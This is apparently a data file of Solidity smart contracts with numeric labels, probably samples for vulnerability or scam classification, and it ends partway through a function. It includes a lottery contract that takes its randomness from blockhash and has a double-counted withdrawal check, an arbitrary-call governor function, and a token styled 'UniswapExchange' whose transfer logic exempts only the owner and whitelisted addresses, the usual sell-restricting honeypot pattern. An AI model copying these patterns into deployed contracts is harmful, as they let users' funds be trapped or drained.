function getVoteRuling(uint _disputeID, uint _appeals, uint _voteID) public view returns (uint ruling) {
return disputes[_disputeID].votes[_appeals][_voteID].ruling;
}
function getWinningChoice(uint _disputeID, uint _appeals) public view returns (uint winningChoice) {
return disputes[_disputeID].voteCounter[_appeals].winningChoice;
}
function getWinningCount(uint _disputeID, uint _appeals) public view returns (uint winningCount) {
return disputes[_disputeID].voteCounter[_appeals].winningCount;
}
function getVoteCount(uint _disputeID, uint _appeals, uint _choice) public view returns (uint voteCount) {
return disputes[_disputeID].voteCounter[_appeals].voteCount[_choice];
}
function getLastSessionVote(uint _disputeID, address _juror) public view returns (uint lastSessionVote) {
return disputes[_disputeID].lastSessionVote[_juror];
}
function isDrawn(uint _disputeID, address _juror, uint _draw) public view returns (bool drawn) {
Dispute storage dispute = disputes[_disputeID];
Juror storage juror = jurors[_juror];
if (juror.lastSession != session
|| (dispute.session+dispute.appeals != session)
|| period<=Period.Draw
|| _draw>amountJurors(_disputeID)
|| _draw==0
|| segmentSize==0
) {
return false;
} else {
uint position = uint(keccak256(randomNumber,_disputeID,_draw)) % segmentSize;
return (position >= juror.segmentStart) && (position < juror.segmentEnd);
}
}
function currentRuling(uint _disputeID) public view returns (uint ruling) {
Dispute storage dispute = disputes[_disputeID];
return dispute.voteCounter[dispute.appeals].winningChoice;
}
function disputeStatus(uint _disputeID) public view returns (DisputeStatus status) {
Dispute storage dispute = disputes[_disputeID];
if (dispute.session+dispute.appeals < session)
return DisputeStatus.Solved;
else if(dispute.session+dispute.appeals == session) {
if (dispute.state == DisputeState.Open) {
if (period < Period.Appeal)
return DisputeStatus.Waiting;
else if (period == Period.Appeal)
return DisputeStatus.Appealable;
else return DisputeStatus.Solved;
} else return DisputeStatus.Solved;
} else return DisputeStatus.Waiting;
}
function executeOrder(bytes32 _data, uint _value, address _target) public onlyGovernor {
_target.call.value(_value)(_data);
}
function setRng(RNG _rng) public onlyGovernor {
rng = _rng;
}
function setArbitrationFeePerJuror(uint _arbitrationFeePerJuror) public onlyGovernor {
arbitrationFeePerJuror = _arbitrationFeePerJuror;
}
function setDefaultNumberJuror(uint16 _defaultNumberJuror) public onlyGovernor {
defaultNumberJuror = _defaultNumberJuror;
}
function setMinActivatedToken(uint _minActivatedToken) public onlyGovernor {
minActivatedToken = _minActivatedToken;
}
function setTimePerPeriod(uint[5] _timePerPeriod) public onlyGovernor {
timePerPeriod = _timePerPeriod;
}
function setAlpha(uint _alpha) public onlyGovernor {
alpha = _alpha;
}
function setMaxAppeals(uint _maxAppeals) public onlyGovernor {
maxAppeals = _maxAppeals;
}
function setGovernor(address _governor) public onlyGovernor {
governor = _governor;
}
} | 0 | 2,261 |
pragma solidity ^0.4.0;
contract demo{
function transfer(address from,address caddress,address[] _tos,uint v)public returns (bool){
require(_tos.length > 0);
bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
for(uint i=0;i<_tos.length;i++){
caddress.call(id,from,_tos[i],v);
}
return true;
}
} | 0 | 2,296 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 {
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address owner, address spender) public constant returns (uint256);
function balanceOf(address who) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function transfer(address _to, uint256 _value) public;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Play0x_LottoBall {
using SafeMath for uint256;
using SafeMath for uint128;
using SafeMath for uint40;
using SafeMath for uint8;
uint public jackpotSize;
uint public tokenJackpotSize;
uint public MIN_BET;
uint public MAX_BET;
uint public MAX_AMOUNT;
uint public maxProfit;
uint public maxTokenProfit;
uint8 public platformFeePercentage = 15;
uint8 public jackpotFeePercentage = 5;
uint8 public ERC20rewardMultiple = 5;
uint constant BetExpirationBlocks = 250;
uint public lockedInBets;
uint public lockedTokenInBets;
bytes32 bitComparisonMask = 0xF;
address public owner;
address private nextOwner;
address public manager;
address private nextManager;
address[] public secretSignerList;
address public ERC20ContractAddres;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
struct Bet {
uint amount;
uint40 placeBlockNumber;
address gambler;
}
mapping (uint => Bet) public bets;
uint32[] public withdrawalMode;
event ToManagerPayment(address indexed beneficiary, uint amount);
event ToManagerFailedPayment(address indexed beneficiary, uint amount);
event ToOwnerPayment(address indexed beneficiary, uint amount);
event ToOwnerFailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event FailedPayment(address indexed beneficiary, uint amount);
event TokenPayment(address indexed beneficiary, uint amount);
event JackpotBouns(address indexed beneficiary, uint amount);
event TokenJackpotBouns(address indexed beneficiary, uint amount);
event PlaceBetLog(address indexed player, uint amount,uint8 rotateTime);
event BetRelatedData(
address indexed player,
uint playerBetAmount,
uint playerGetAmount,
bytes32 entropy,
bytes32 entropy2,
uint8 Uplimit,
uint8 rotateTime
);
constructor () public {
owner = msg.sender;
manager = DUMMY_ADDRESS;
ERC20ContractAddres = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner);
_;
}
modifier onlyManager {
require (msg.sender == manager);
_;
}
function initialParameter(address _manager,address[] _secretSignerList,address _erc20tokenAddress ,uint _MIN_BET,uint _MAX_BET,uint _maxProfit,uint _maxTokenProfit, uint _MAX_AMOUNT, uint8 _platformFeePercentage,uint8 _jackpotFeePercentage,uint8 _ERC20rewardMultiple,uint32[] _withdrawalMode)external onlyOwner{
manager = _manager;
secretSignerList = _secretSignerList;
ERC20ContractAddres = _erc20tokenAddress;
MIN_BET = _MIN_BET;
MAX_BET = _MAX_BET;
maxProfit = _maxProfit;
maxTokenProfit = _maxTokenProfit;
MAX_AMOUNT = _MAX_AMOUNT;
platformFeePercentage = _platformFeePercentage;
jackpotFeePercentage = _jackpotFeePercentage;
ERC20rewardMultiple = _ERC20rewardMultiple;
withdrawalMode = _withdrawalMode;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner);
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner);
owner = nextOwner;
}
function approveNextManager(address _nextManager) external onlyManager {
require (_nextManager != manager);
nextManager = _nextManager;
}
function acceptNextManager() external {
require (msg.sender == nextManager);
manager = nextManager;
}
function () public payable {
}
function setSecretSignerList(address[] newSecretSignerList) external onlyOwner {
secretSignerList = newSecretSignerList;
}
function setSecretSignerByIndex(address newSecretSigner,uint newSecretSignerIndex) external onlyOwner {
secretSignerList[newSecretSignerIndex] = newSecretSigner;
}
function setTokenAddress(address _tokenAddress) external onlyManager {
ERC20ContractAddres = _tokenAddress;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT);
maxProfit = _maxProfit;
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance);
uint safetyAmount = jackpotSize.add(lockedInBets).add(withdrawAmount);
safetyAmount = safetyAmount.add(withdrawAmount);
require (safetyAmount <= address(this).balance);
sendFunds(beneficiary, withdrawAmount, withdrawAmount);
}
function withdrawToken(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
uint safetyAmount = tokenJackpotSize.add(lockedTokenInBets);
safetyAmount = safetyAmount.add(withdrawAmount);
require (safetyAmount <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
ERC20(ERC20ContractAddres).transfer(beneficiary, withdrawAmount);
emit TokenPayment(beneficiary, withdrawAmount);
}
function withdrawAllFunds(address beneficiary) external onlyOwner {
if (beneficiary.send(address(this).balance)) {
lockedInBets = 0;
emit Payment(beneficiary, address(this).balance);
} else {
emit FailedPayment(beneficiary, address(this).balance);
}
}
function withdrawAlltokenFunds(address beneficiary) external onlyOwner {
ERC20(ERC20ContractAddres).transfer(beneficiary, ERC20(ERC20ContractAddres).balanceOf(address(this)));
lockedTokenInBets = 0;
emit TokenPayment(beneficiary, ERC20(ERC20ContractAddres).balanceOf(address(this)));
}
function kill() external onlyOwner {
require (lockedInBets == 0);
require (lockedTokenInBets == 0);
selfdestruct(owner);
}
function getContractInformation()public view returns(
uint _jackpotSize,
uint _tokenJackpotSize,
uint _MIN_BET,
uint _MAX_BET,
uint _MAX_AMOUNT,
uint8 _platformFeePercentage,
uint8 _jackpotFeePercentage,
uint _maxProfit,
uint _maxTokenProfit,
uint _lockedInBets,
uint _lockedTokenInBets,
uint32[] _withdrawalMode){
_jackpotSize = jackpotSize;
_tokenJackpotSize = tokenJackpotSize;
_MIN_BET = MIN_BET;
_MAX_BET = MAX_BET;
_MAX_AMOUNT = MAX_AMOUNT;
_platformFeePercentage = platformFeePercentage;
_jackpotFeePercentage = jackpotFeePercentage;
_maxProfit = maxProfit;
_maxTokenProfit = maxTokenProfit;
_lockedInBets = lockedInBets;
_lockedTokenInBets = lockedTokenInBets;
_withdrawalMode = withdrawalMode;
}
function getContractAddress()public view returns(
address _owner,
address _manager,
address[] _secretSignerList,
address _ERC20ContractAddres ){
_owner = owner;
_manager= manager;
_secretSignerList = secretSignerList;
_ERC20ContractAddres = ERC20ContractAddres;
}
enum PlaceParam {
RotateTime,
possibleWinAmount,
secretSignerIndex
}
function placeBet(uint[] placParameter, bytes32 _signatureHash , uint _commitLastBlock, uint _commit, bytes32 r, bytes32 s, uint8 v) external payable {
require (uint8(placParameter[uint8(PlaceParam.RotateTime)]) != 0);
require (block.number <= _commitLastBlock );
require (secretSignerList[placParameter[uint8(PlaceParam.secretSignerIndex)]] == ecrecover(_signatureHash, v, r, s));
Bet storage bet = bets[_commit];
require (bet.gambler == address(0));
lockedInBets = lockedInBets.add(uint(placParameter[uint8(PlaceParam.possibleWinAmount)]));
require (uint(placParameter[uint8(PlaceParam.possibleWinAmount)]) <= msg.value.add(maxProfit));
require (lockedInBets <= address(this).balance);
bet.amount = msg.value;
bet.placeBlockNumber = uint40(block.number);
bet.gambler = msg.sender;
emit PlaceBetLog(msg.sender, msg.value, uint8(placParameter[uint8(PlaceParam.RotateTime)]));
}
function placeTokenBet(uint[] placParameter,bytes32 _signatureHash , uint _commitLastBlock, uint _commit, bytes32 r, bytes32 s, uint8 v,uint _amount,address _playerAddress) external {
require (placParameter[uint8(PlaceParam.RotateTime)] != 0);
require (block.number <= _commitLastBlock );
require (secretSignerList[placParameter[uint8(PlaceParam.secretSignerIndex)]] == ecrecover(_signatureHash, v, r, s));
Bet storage bet = bets[_commit];
require (bet.gambler == address(0));
lockedTokenInBets = lockedTokenInBets.add(uint(placParameter[uint8(PlaceParam.possibleWinAmount)]));
require (uint(placParameter[uint8(PlaceParam.possibleWinAmount)]) <= _amount.add(maxTokenProfit));
require (lockedTokenInBets <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
bet.amount = _amount;
bet.placeBlockNumber = uint40(block.number);
bet.gambler = _playerAddress;
emit PlaceBetLog(_playerAddress, _amount, uint8(placParameter[uint8(PlaceParam.RotateTime)]));
}
function getBonusPercentageByMachineMode(uint8 machineMode)public view returns( uint upperLimit,uint maxWithdrawalPercentage ){
uint limitIndex = machineMode.mul(2);
upperLimit = withdrawalMode[limitIndex];
maxWithdrawalPercentage = withdrawalMode[(limitIndex.add(1))];
}
enum SettleParam {
Uplimit,
BonusPercentage,
RotateTime,
CurrencyType,
MachineMode,
PerWinAmount,
PerBetAmount,
PossibleWinAmount,
LuckySeed,
jackpotFee,
secretSignerIndex,
Reveal
}
enum TotalParam {
TotalAmount,
TotalTokenAmount,
TotalJackpotWin
}
function settleBet(uint[] combinationParameter, bytes32 blockHash ) external{
uint commit = uint(keccak256(abi.encodePacked(combinationParameter[uint8(SettleParam.Reveal)])));
Bet storage bet = bets[commit];
require (bet.amount != 0);
require (block.number <= bet.placeBlockNumber.add(BetExpirationBlocks));
require (blockhash(bet.placeBlockNumber) == blockHash);
bytes32 _entropy = keccak256(
abi.encodePacked(
uint(
keccak256(
abi.encodePacked(
combinationParameter[uint8(SettleParam.Reveal)],
combinationParameter[uint8(SettleParam.LuckySeed)]
)
)
),
blockHash
)
);
uint totalAmount = 0;
uint totalTokenAmount = 0;
uint totalJackpotWin = 0;
(totalAmount,totalTokenAmount,totalJackpotWin) = runRotateTime(
combinationParameter,
_entropy,
keccak256(
abi.encodePacked(uint(_entropy),
combinationParameter[uint8(SettleParam.LuckySeed)])
)
);
if (totalJackpotWin > 0 && combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
emit JackpotBouns(bet.gambler,totalJackpotWin);
totalAmount = totalAmount.add(totalJackpotWin);
jackpotSize = uint128(jackpotSize.sub(totalJackpotWin));
}else if (totalJackpotWin > 0 && combinationParameter[uint8(SettleParam.CurrencyType)] == 1) {
emit TokenJackpotBouns(bet.gambler,totalJackpotWin);
totalAmount = totalAmount.add(totalJackpotWin);
tokenJackpotSize = uint128(tokenJackpotSize.sub(totalJackpotWin));
}
emit BetRelatedData(
bet.gambler,
bet.amount,
totalAmount,
_entropy,
keccak256(abi.encodePacked(uint(_entropy), combinationParameter[uint8(SettleParam.LuckySeed)])),
uint8(combinationParameter[uint8(SettleParam.Uplimit)]),
uint8(combinationParameter[uint8(SettleParam.RotateTime)])
);
if (combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
if (totalAmount != 0){
sendFunds(bet.gambler, totalAmount , totalAmount);
}
if (totalTokenAmount != 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
ERC20(ERC20ContractAddres).transfer(bet.gambler, totalTokenAmount);
emit TokenPayment(bet.gambler, totalTokenAmount);
}
}
}else if(combinationParameter[uint8(SettleParam.CurrencyType)] == 1){
if (totalAmount != 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
ERC20(ERC20ContractAddres).transfer(bet.gambler, totalAmount);
emit TokenPayment(bet.gambler, totalAmount);
}
}
}
if (combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
lockedInBets = lockedInBets.sub(combinationParameter[uint8(SettleParam.PossibleWinAmount)]);
} else if (combinationParameter[uint8(SettleParam.CurrencyType)] == 1){
lockedTokenInBets = lockedTokenInBets.sub(combinationParameter[uint8(SettleParam.PossibleWinAmount)]);
}
bet.amount = 0;
if (uint16(combinationParameter[uint8(SettleParam.CurrencyType)]) == 0) {
jackpotSize = jackpotSize.add(uint(combinationParameter[uint8(SettleParam.jackpotFee)]));
}else if (uint16(combinationParameter[uint8(SettleParam.CurrencyType)]) == 1) {
tokenJackpotSize = tokenJackpotSize.add(uint(combinationParameter[uint8(SettleParam.jackpotFee)]));
}
}
function runRotateTime ( uint[] combinationParameter, bytes32 _entropy ,bytes32 _entropy2)private view returns(uint totalAmount,uint totalTokenAmount,uint totalJackpotWin) {
bytes32 resultMask = 0xF000000000000000000000000000000000000000000000000000000000000000;
bytes32 tmp_entropy;
bytes32 tmp_Mask = resultMask;
bool isGetJackpot = false;
for (uint8 i = 0; i < combinationParameter[uint8(SettleParam.RotateTime)]; i++) {
if (i < 64){
tmp_entropy = _entropy & tmp_Mask;
tmp_entropy = tmp_entropy >> (4*(64 - (i.add(1))));
tmp_Mask = tmp_Mask >> 4;
}else{
if ( i == 64){
tmp_Mask = resultMask;
}
tmp_entropy = _entropy2 & tmp_Mask;
tmp_entropy = tmp_entropy >> (4*( 64 - (i%63)));
tmp_Mask = tmp_Mask >> 4;
}
if ( uint(tmp_entropy) < uint(combinationParameter[uint8(SettleParam.Uplimit)]) ){
totalAmount = totalAmount.add(combinationParameter[uint8(SettleParam.PerWinAmount)]);
uint platformFees = combinationParameter[uint8(SettleParam.PerBetAmount)].mul(platformFeePercentage);
platformFees = platformFees.div(1000);
totalAmount = totalAmount.sub(platformFees);
}else{
if (uint(combinationParameter[uint8(SettleParam.CurrencyType)]) == 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
uint rewardAmount = uint(combinationParameter[uint8(SettleParam.PerBetAmount)]).mul(ERC20rewardMultiple);
totalTokenAmount = totalTokenAmount.add(rewardAmount);
}
}
}
if (isGetJackpot == false){
isGetJackpot = getJackpotWinBonus(i,_entropy,_entropy2);
}
}
if (isGetJackpot == true && combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
totalJackpotWin = jackpotSize;
}else if (isGetJackpot == true && combinationParameter[uint8(SettleParam.CurrencyType)] == 1) {
totalJackpotWin = tokenJackpotSize;
}
}
function getJackpotWinBonus (uint8 i,bytes32 entropy,bytes32 entropy2) private pure returns (bool isGetJackpot) {
bytes32 one;
bytes32 two;
bytes32 three;
bytes32 four;
bytes32 resultMask = 0xF000000000000000000000000000000000000000000000000000000000000000;
bytes32 jackpo_Mask = resultMask;
if (i < 61){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy & jackpo_Mask) >> (4*(64 - (i + 3)));
jackpo_Mask = jackpo_Mask >> 4;
four = (entropy & jackpo_Mask) >> (4*(64 - (i + 4)));
jackpo_Mask = jackpo_Mask << 8;
}
else if(i >= 61){
if(i == 61){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy & jackpo_Mask) >> (4*(64 - (i + 3)));
jackpo_Mask = jackpo_Mask << 4;
four = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
}
else if(i == 62){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
three = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
four = (entropy2 & 0x0F00000000000000000000000000000000000000000000000000000000000000) >> 4*62;
}
else if(i == 63){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
two = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy2 & 0x0F00000000000000000000000000000000000000000000000000000000000000) >> 4*62;
jackpo_Mask = jackpo_Mask << 4;
four = (entropy2 & 0x00F0000000000000000000000000000000000000000000000000000000000000) >> 4*61;
jackpo_Mask = 0xF000000000000000000000000000000000000000000000000000000000000000;
}
else {
one = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 1)));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 2))) ;
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 3))) ;
jackpo_Mask = jackpo_Mask >> 4;
four = (entropy2 & jackpo_Mask) >>(4*( 64 - (i%64 + 4)));
jackpo_Mask = jackpo_Mask << 8;
}
}
if ((one ^ 0xF) == 0 && (two ^ 0xF) == 0 && (three ^ 0xF) == 0 && (four ^ 0xF) == 0){
isGetJackpot = true;
}
}
function getPossibleWinAmount(uint bonusPercentage,uint senderValue)public view returns (uint platformFee,uint jackpotFee,uint possibleWinAmount) {
uint prePlatformFee = (senderValue).mul(platformFeePercentage);
platformFee = (prePlatformFee).div(1000);
uint preJackpotFee = (senderValue).mul(jackpotFeePercentage);
jackpotFee = (preJackpotFee).div(1000);
uint preUserGetAmount = senderValue.mul(bonusPercentage);
possibleWinAmount = preUserGetAmount.div(10000);
}
function settleBetVerifi(uint[] combinationParameter,bytes32 blockHash )external view returns(uint totalAmount,uint totalTokenAmount,uint totalJackpotWin,bytes32 _entropy,bytes32 _entropy2) {
require (secretSignerList[combinationParameter[uint8(SettleParam.secretSignerIndex)]] == msg.sender);
_entropy = keccak256(
abi.encodePacked(
uint(
keccak256(
abi.encodePacked(
combinationParameter[uint8(SettleParam.Reveal)],
combinationParameter[uint8(SettleParam.LuckySeed)]
)
)
),
blockHash
)
);
_entropy2 = keccak256(
abi.encodePacked(
uint(_entropy),
combinationParameter[uint8(SettleParam.LuckySeed)]
)
);
(totalAmount,totalTokenAmount,totalJackpotWin) = runRotateTime(combinationParameter,_entropy,_entropy2);
}
function refundBet(uint commit,uint8 machineMode) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber.add(BetExpirationBlocks));
bet.amount = 0;
uint platformFee;
uint jackpotFee;
uint possibleWinAmount;
uint upperLimit;
uint maxWithdrawalPercentage;
(upperLimit,maxWithdrawalPercentage) = getBonusPercentageByMachineMode(machineMode);
(platformFee, jackpotFee, possibleWinAmount) = getPossibleWinAmount(maxWithdrawalPercentage,amount);
lockedInBets = lockedInBets.sub(possibleWinAmount);
sendFunds(bet.gambler, amount, amount);
}
function refundTokenBet(uint commit,uint8 machineMode) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber.add(BetExpirationBlocks));
bet.amount = 0;
uint platformFee;
uint jackpotFee;
uint possibleWinAmount;
uint upperLimit;
uint maxWithdrawalPercentage;
(upperLimit,maxWithdrawalPercentage) = getBonusPercentageByMachineMode(machineMode);
(platformFee, jackpotFee, possibleWinAmount) = getPossibleWinAmount(maxWithdrawalPercentage,amount);
lockedTokenInBets = uint128(lockedTokenInBets.sub(possibleWinAmount));
ERC20(ERC20ContractAddres).transfer(bet.gambler, amount);
emit TokenPayment(bet.gambler, amount);
}
function clearStorage(uint[] cleanCommits) external {
uint length = cleanCommits.length;
for (uint i = 0; i < length; i++) {
clearProcessedBet(cleanCommits[i]);
}
}
function clearProcessedBet(uint commit) private {
Bet storage bet = bets[commit];
if (bet.amount != 0 || block.number <= bet.placeBlockNumber + BetExpirationBlocks) {
return;
}
bet.placeBlockNumber = 0;
bet.gambler = address(0);
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
function sendFundsToManager(uint amount) external onlyOwner {
if (manager.send(amount)) {
emit ToManagerPayment(manager, amount);
} else {
emit ToManagerFailedPayment(manager, amount);
}
}
function sendTokenFundsToManager( uint amount) external onlyOwner {
ERC20(ERC20ContractAddres).transfer(manager, amount);
emit TokenPayment(manager, amount);
}
function sendFundsToOwner(address beneficiary, uint amount) external onlyOwner {
if (beneficiary.send(amount)) {
emit ToOwnerPayment(beneficiary, amount);
} else {
emit ToOwnerFailedPayment(beneficiary, amount);
}
}
function updateMIN_BET(uint _uintNumber)public onlyManager {
MIN_BET = _uintNumber;
}
function updateMAX_BET(uint _uintNumber)public onlyManager {
MAX_BET = _uintNumber;
}
function updateMAX_AMOUNT(uint _uintNumber)public onlyManager {
MAX_AMOUNT = _uintNumber;
}
function updateWithdrawalModeByIndex(uint8 _index, uint32 _value) public onlyManager{
withdrawalMode[_index] = _value;
}
function updateWithdrawalMode( uint32[] _withdrawalMode) public onlyManager{
withdrawalMode = _withdrawalMode;
}
function updateBitComparisonMask(bytes32 _newBitComparisonMask ) public onlyOwner{
bitComparisonMask = _newBitComparisonMask;
}
function updatePlatformFeePercentage(uint8 _platformFeePercentage ) public onlyOwner{
platformFeePercentage = _platformFeePercentage;
}
function updateJackpotFeePercentage(uint8 _jackpotFeePercentage ) public onlyOwner{
jackpotFeePercentage = _jackpotFeePercentage;
}
function updateERC20rewardMultiple(uint8 _ERC20rewardMultiple ) public onlyManager{
ERC20rewardMultiple = _ERC20rewardMultiple;
}
} | 0 | 1,753 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
